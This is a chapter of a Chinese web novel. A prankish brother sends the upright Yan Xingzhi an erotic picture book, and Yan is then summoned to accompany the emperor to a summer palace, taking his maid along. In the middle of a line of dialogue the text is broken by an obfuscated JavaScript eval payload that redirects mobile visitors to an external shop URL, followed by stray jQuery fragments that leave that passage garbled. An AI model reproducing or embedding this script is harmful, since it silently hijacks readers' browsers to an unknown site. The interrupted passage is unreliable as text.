文趣网 > 其他小说 > 公子通房跑路记 > 47. 第47章 春和景明
    晏修齐本在外头等好消息,却等来那小官落荒而逃的结果。

    看来这事轻易过不去,晏行止是铁了心要做那“公正无私、六亲不认的包青天”。

    晏修齐冷嗤了一声,便附耳吩咐长风,将他那螺钿红木柜子里压底的书取来,给晏行止送去。

    长风瞠目,脸先红了,“这……不好吧?”

    “如何不好?”晏修齐挑眉,“他至今无妻无妾,活得跟个和尚似的,大抵还是个愣头青,老夫人和夫人可没少忧心。左右我也用不上了,你去送给他,就说是我这个做哥哥的好意,省得人说只有他顾念宗族之义、兄弟之情。”

    水生金,晏修齐就当白花花的银子扔运河里祈福了,也庆祝他弟弟步步高升,可多少得听个响。

    总不能就他一个人生气。

    既有人做初一,毫不留情,就别怪他做十五。

    长风只觉得自家公子开始疯了,上流的不行,已经开始下流了。

    再好的兄弟,也没有分享……这个的呀,何况又是三公子那样清肃的人物,怕是看到东西就要把他活剐了。

    “还是……不要了吧……”长风虚着声音劝道。

    “去你的!”晏修齐一脚踹到他的屁股上。

    长风“哎哟”一声跳出老高,只能依言去取出柜子里图册,拿布严严实实裹好,硬着头皮送去攸宁居。至于晏修齐交代的那些话,长风自是一个字不敢说,放下东西就跑了。

    晏行止满面狐疑,捡起那包袱掂了掂,果然是本书。

    若说绝版,要么是古籍,要么是宋时的刻本。

    晏行止小心打开外头的封布,只见“赏春图”三个不甚入流的字体题在封面上,再一翻开——

    满纸白花花的男女图画,交缠重叠。

    气血霎时冲上头顶!

    晏行止有一瞬间的眩晕,手掌一翻就把书合了回去,重重扔到案上,带着杯子都摔到地上,碎得七零八落。

    晏行止看着地上的碎瓷片,再无法找到那一条开片,心情也一片凌乱,久久无法平复。

    晏修齐那家伙!

    真是愈发荒唐乖戾了!

    竟然……竟然公然送来此等淫.秽之物!

    晏行止重重闭了一下眼。

    摔杯的动静传到外面,霍香和飞烟也是一惊,面面相觑。

    联想起刚才长风溜之大吉的背影,谁不会觉得这是动了大气?竟然还摔了东西。

    公子从不摔物泄愤。

    想到此处,飞烟只觉情况严峻,转了转眼睛,目光落到霍香身上,小声道:“你去看看吧。”

    “我?”霍香震惊,手指指着自己鼻尖。

    飞烟点头,“公子定不会责难你的。”

    “不是……”她不才是天天挨骂的那个吗?不过是最近病了一场,才得几分好脸,破例让她留在攸宁居养病。到底晏大人不是什么恃强凌弱之人。

    霍香话未说完,已被飞烟推了出去。

    霍香为难回头,飞烟还对她摆了摆腕子,示意她安心进去。

    霍香抿了抿唇,最终还是探了探头,只见晏行止站在案前,胸膛微微起伏,脖子、耳后根都红了一片,果然是气得不轻。

    “公子?”霍香试探唤,“怎么了吗?”

    晏行止闻声一怔,连忙扯过那块封布,将书重新掩好,手指死死压在上面。

    “……没什么,”晏行止道,声音有点干,下意识咽了口唾沫,“吩咐下去,以后筱梦轩来送东西,一概轰出去!”

    这是动了大气,连表面的兄弟情义也不顾了。

    霍香心里暗暗咋舌,真不知什么书能让晏大人动这么大肝火,莫不是夹杂了什么骂人的书信?

    她心里好奇,便偷偷朝那案上张望了一眼。

    晏行止察觉到她的目光,手下压得更紧了,生怕露出一点,指尖都泛出了白色,沉声吩咐:“你去取个火盆来。”

    “火盆?”

    “对,”晏行止道,“我有些文稿,要焚掉。”

    霍香点点头,便去灶房寻了一只火盆,端到书房门口,道:“公子,你要烧什么,给奴婢吧,在书房烧纸飞灰,还有烟。”

    “不用,你端进来,”晏行止拒绝,斩钉截铁,“然后出去,别让人进来。”

    表情郑重得仿佛处理什么国家机密,生怕别人看到。

    霍香又把火盆搬了进来,自己退了出去,和飞烟在廊下聊天。

    霍香觑着那书房紧闭的窗子,半开玩笑问飞烟:“你有没有觉得,公子最近有点喜怒无常?”

    飞烟想了想,摇头,“还好吧。”

    不过确实比以前动怒的次数多了些。以前的公子就像一尊塑像,日复一日的沉静样子,镇在攸宁居。倒不是说寡情,也确实悲喜无切。

    飞烟暗暗瞥了一眼身边的霍香。

    霍香正在心头暗谑,想飞烟没有这种感觉,可能是因为晏大人根本就没有喜吧。

    她嘴角微微翘了翘,又赶紧抿平了。

    两人正各怀心事,忽有一个丫头脚步匆匆过来,说宫里头来了人传口谕,请晏行止过去。

    晏行止也是一惊,连忙整了整衣冠,往正厅去。

    来者是御前伺候的小太监张顺,常与晏行止打交道,算是熟人,也不拿腔作势,见了面便笑嘻嘻拱手,“晏大人,奴婢给您道喜了。”

    晏行止还了一礼,疑惑,“张公公客气,不知陛下有何吩咐?”

    张顺笑道:“圣上预备下月初起驾前往玉泉行宫避暑,点了大人的名,着大人随行侍驾。这可是一等一的恩典啊。”

    晏行止微微一愣。

    玉泉行宫在京城西北,依山傍水,先帝晚年,每于五月便会前去消暑狩猎。今上登基以来,还是头回摆驾前往,而且四月初就出发,并不算特别炎热的时候。

    这个消息来得突然,倒叫晏行止心里生出几分说不清的忧虑。

    “晏大人记得好好准备。”张顺叮嘱道。

    晏行止领了张顺的情,颔首道谢,便送了张顺出门。

    回来时,便见晏修齐不知何时已等在了厅中,翘着个二郎腿坐着。

    “三弟好前程,”晏修齐笑着起身,踱到晏行止跟前,“要去随王伴驾,父亲都没这个待遇。”

    接着又微微倾身,压低了声线:“不知我方才送你的书可还好?听说那是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591151|202227||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    唐六如的墨宝。我不懂这些,三弟以为如何?”

    晏行止太阳穴突的一跳。

    此人竟然还敢提?

    还说什么唐六如。

    唐六如虽擅仕女图,却不曾留下邪淫之作,都不用看笔墨,便知是赝品中的赝品。

    可无论说是还是不是,都等于承认他已经翻开看过。

    晏行止面色铁青,一句话不想和他说,目光直接略过了他,径直走了出去。

    “呵——”晏修齐望着那道僵直的背影,轻轻笑了一声,也回了筱梦轩。

    他这口气,总算是撒了出来。

    晏行止回到攸宁居时,眉眼间的不豫还未散去,径直走进书房,拿拨子又翻了一遍那火盆,确认连半篇残页都不曾留下,才微微松口气。

    他直起身,唤来飞烟:“拿出去倒了吧。”

    又补了一句:“倒远些。”

    飞烟也不多问,端了火盆出去,绕到院墙外的花圃里倒了个干净,全当施肥了。

    待飞烟回来,霍香也听说了晏行止要去行宫的事。两人一合计,并不剩多少时日了,便去问:“公子,这次预计什么时候回来?我们好看着准备衣物。”

    这是皇帝第一次去行宫,一切都是未知数。

    晏行止忖了忖,道:“少说要三四个月,等入秋才回銮。一切从简吧。”

    三四个月不在。

    晏行止想到这略有点久的时间,还有晏修齐那不安宁的性子,目光投向霍香,道:“行宫那边有女眷走动,带个侍女便宜些。霍香随我同去。”

    霍香一愣,眨了眨眼,还没来得及答话,晏行止已转向飞烟,接着道:“飞烟,你还像上次一般,留是在攸宁居主事。我离京期间,院里一切照旧,遇事不决便去请示夫人。”

    这还是飞烟头回听公子解释自己行事的缘由。带不带侍女出门,其实都只是一句话的事,都是为了方便。如今多说这几句,倒有点像专门讲给谁听的。

    飞烟忽然发现,自从自己瞧出公子待霍香那点不同寻常,一切都变得明朗。

    她面上不动声色,点了点头。

    ***

    转眼便到了四月初,圣驾启程。

    仪仗绵延数里,华盖如云,旌旗猎猎。随行的除了近臣侍卫,还有不少女眷内侍,浩浩荡荡往行宫而去。

    到达行宫时已是日暮时分。松柏参天,山风徐来。

    随行官员皆下车步行,列于道旁,迎接圣驾。

    霍香跟在晏行止身后半步,被这皇家气派压得抬不起一点头,也不敢四处张望,只拿余光偷偷打量。

    忽然,前方的队列响起一阵小小的骚动。

    霍香心里好奇,借着前头人影的缝隙,微微抬了抬头。

    一身明黄的皇帝下了御辇,却没有径直入殿,而是转身绕到了后头一辆凤车前。

    皇帝喊了一声“母后”,迎出了一位华服妇人,想来就是太后。

    皇帝接着又到了更后面的一辆车驾前,亦是毕恭毕敬的态度。

    车帘掀开——

    霍香的呼吸顿住。

    这不是隆福寺下、宜室宜家宅里的那位白猫老太太吗?